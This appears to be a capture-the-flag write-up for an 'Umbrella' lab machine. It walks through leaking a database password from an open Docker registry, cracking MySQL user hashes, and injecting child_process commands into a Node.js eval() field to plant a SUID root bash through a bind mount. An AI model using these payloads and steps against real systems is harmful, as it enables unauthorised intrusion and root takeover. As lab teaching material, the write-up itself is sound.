Umbrella — Docker Registry to SUID Bash
A time-tracking app rebuilt around Docker: an open registry leaks DB secrets, MySQL hands over login credentials, a Node.js eval() gives container root, and a bind-mounted logs folder pivots to host root. Goal: user.txt + root.txt.
1 · Enumeration
nmap -sC -sV umbrella.thm
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1
3306/tcp open mysql 5.7.40
5000/tcp open http Docker Registry v2
8080/tcp open http Node.js/Express login
2 · Docker Registry Loot
Port 5000 is an unauthenticated Registry. The manifest's history payload carries the image's build-time ENV — the DB password leaks with zero image downloads.
curl http://umbrella.thm:5000/v2/_catalog
# {"repositories":["umbrella/timetracking"]}
curl http://umbrella.thm:5000/v2/umbrella/timetracking/manifests/latest
# history[].v1Compatibility → Env →
# DB_HOST=db DB_USER=root DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
3 · MySQL — Dump + Crack
mysql -h umbrella.thm -u root -p'Ng1-f3!Pe7-e5?Nf3xe5'
> SHOW DATABASES;
> USE timetracking; SELECT * FROM users;
# MD5 hashes → crack with john + rockyou
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
# claire-r:Password1 chris-r:sunshine1 jill-v:letmein barry-b:sandwich
4 · SSH + Source Review
ssh claire-r@umbrella.thm
cat user.txt
# App source is in the home dir — read tTracker-src/
cat tTracker-src/app.js
# /time: let timeCalc = parseInt(eval(request.body.time)) ← eval!
cat tTracker-src/docker-compose.yml
# app volume: ./logs:/logs ← host dir name claire-r can write
Wait — the logs/ directory is bind-mounted into the container at /logs. Anything the container writes there lands on the host, owned by root.
5 · eval() → SUID Root Bash
On the web app (:8080), log in as claire-r. The "Increase time spent" field is passed straight to eval() — the app even advertises math expressions. We use it to run child_process and plant a SUID bash on the host through the bind mount (no reverse shell needed).
# Submit each of these in the time field (POST /time)
require('child_process').exec('cp /bin/bash /logs/bash')
require('child_process').exec('chown root:root /logs/bash')
require('child_process').exec('chmod u+s /logs/bash')
# On the host as claire-r
~/tTracker-src/logs/bash -p
bash-5.1# id
uid=1001(claire-r) euid=0(root)
bash-5.1# cat /root/root.txt
Because the app runs as root, chown/chmod succeed; bash -p keeps the elevated euid. Alternatively the same eval() can spawn a reverse shell inside the container.
6 · What Made It Work
Step 2 needs no downloads at all. The history array in a v2 manifest keeps the ENV each build layer set, so an unauthenticated registry hands over the database password with a single curl. Step 5 is the other half: eval() gets you root in the container, and the bind mount in step 4 is what makes that root worth anything to the host.